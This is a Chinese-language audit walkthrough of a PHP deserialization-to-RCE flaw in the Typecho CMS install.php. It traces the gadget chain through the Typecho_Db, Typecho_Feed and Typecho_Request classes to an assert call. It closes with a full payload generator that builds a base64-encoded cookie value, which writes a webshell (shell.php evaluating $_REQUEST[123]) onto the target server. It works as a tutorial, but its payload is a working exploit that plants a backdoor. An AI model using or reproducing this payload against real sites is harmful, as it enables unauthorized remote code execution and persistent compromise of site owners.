第一步进行代码审计 审计install.php
第230-234 行代码 230 行
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie 类获取了__typecho_config 参数的内容并进行 base64 解密,又调用了 unserialize 函数对__typecho_config 反序列化 查找get类在cookie.php中
第83行-88行
设置一个参数为$key ,默认参数为空, $_prefix属性的值与变量$key的值连接在一起, 并将结果赋值给变量$key。下面为三元运算,判断$key的值是否在cookie如果不存 在继续在post 请求中获取,存在$key则赋值给$value 对与传入的参数没有进行校验我们返回到install.php文件。
如果我们要想把传入的参数操作进行到第230行我们需要审计这段代码的上一 层的逻辑结构从第一行开始审计
第59行
在这段代码中如果三个条件都为真那么就会直接退出结束执行因此我们传参的时候要给 finish 一个值就可以让程序继续执行
第64行到76行
这段代码的含义是检测referer中的host,get和host中的host不一致就会退出程序 因此我们在请求里要保证referer中的host和get,host中的host一致
回到install.php 文件中第232行
经过反序列化后$config为一个对象
$db = new Typecho_Db($config['adapter'], $config['prefix']);
通过这段分析得到$config 为一个数组,这个数组里有两个参数传入带Typecho_Db 这个实例中 $config=[
‘adapter’=> 11111,
‘prefix’=>aaa
]
New 一个实例
查找Typecho_Db这个类在Db.php文件中
查看114行
$adapterName 为传入的参数就是$adapter,$prefix就是prefix 但是$prefix的 默认值为typecho_不考虑这个参数,结合前面我们反序列化后得到的是一个对象,因此 $adapterName 为一个对象 第120行对$adapterName进行了拼接,这里说到一个关于魔术方法__toString 当对象被拼接的时候就会调用这个__toString这个魔术方法。我们要寻找这个魔术法被包含 在一个类里面,所以找到包含__toString这个魔术方法的类
在Feed.php文件中
在Feed.php中在223行 开始审计前提_type为rss2在第290行 $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL; 其中这个$item[‘author’]方法调用了这个screenName这个对象,这里提到一个魔术方法 __get(),同理寻找包含__get()方法但是screenName必须为受保护或者不可访问的。
在Request.php中找到__get()方法,分析get方法
Get 传入的参数为$key就是上面传入的参数.默认值为null。 检查$key是否在_params中如过存在赋值给$value
第307行
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
判断$value 是否是数组,并且长度大于0,就返回$value,并且调用_applyFilter
查看_applyFilter这个方法
if ($this->_filter) {
o 检查当前对象的 _filter 属性是否为真。只有当 _filter 属性存在且
为非空时,才会执行内部的代码块。
foreach ($this->_filter as $filter) {
o 遍历 _filter 属性中的每个元素。每次循环时,当前元素被赋值 给 $filter。
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
o 使用三元运算符判断 $value 是否为数组。
▪ 如果是数组,使用 array_map 函数将每个元素应用过滤器。这意味着对于数组中的每个元素,都会调用过滤器函数。
▪ 如果不是数组,直接调用过滤器函数并将结果赋值 给 $value。
上面传进来的参数是一个对像是字符串因此调用call_user_func();
其中$filter=assert
$vlaue 是我们传进来的payload
$value=phpinfo();
到此构造payload
为了让我们传进来的payload执行因此在bp中添加了三个参数
在payload 中为了模拟数据传参我们要模拟数据流传输方式 首先adapter 必须是一个对象才能触发__toString魔术方法因为在Typecho_Db类中 传入的$adapterName 为数组__typecho_config 中的 adapter 的值且与字符串进行了 拼接触发了__toString 所以在payload中必须构建包含__toString这个类 在Feed.php 中调用时需要满足前提条件
第272行
else if (self::RSS2 == $this->_type)
所以在Feed类中定义所需条件直接cv定义的值到类里
并且_type必须为RSS2.0
而且_items是一个数组
这段foreach ($this->_items as $item)中$this->_items为数组,$item也为数 组,因此我们要在payload中添加这两个数组 结合这段代码遍历这个数组并赋值给_item中的第一个元素 也就是
$this->_items[0]=array( ‘title’ => ‘test’, ‘link’ => 1111, ‘date’ => 222, ‘author’ => ???? )
在$content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;中’author’调用了screenName触发了__get魔术方法 因此这个author应为new Typecho_Request(),因为引用这个类里的_get方法所以定义 这个类在get方法中$key为数组_params的值也就是传进来的screenName赋值给了 $value 在这里又引用了_applyFilter类在这里$value就是要执行的代码而$_filter为 rce 漏洞执行代码命令可以写死为assert它会与$value配合造成反序列化+rce漏洞
在本次payload在注意shell不要换行。__为两个下划线。
<?php
$config=[
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho_'
];
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
‘title’ => ‘test’,
‘link’ => 1111,
‘date’ => 222,
‘author’ => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' =>
'die(file_put_contents("shell.php","<?phpeval(\$_REQUEST[123]);?>"))'
);
private $_filter = array(
'assert'=>'assert'
);
}
$ss = serialize($config);
$aa = base64_encode($ss);
echo $aa;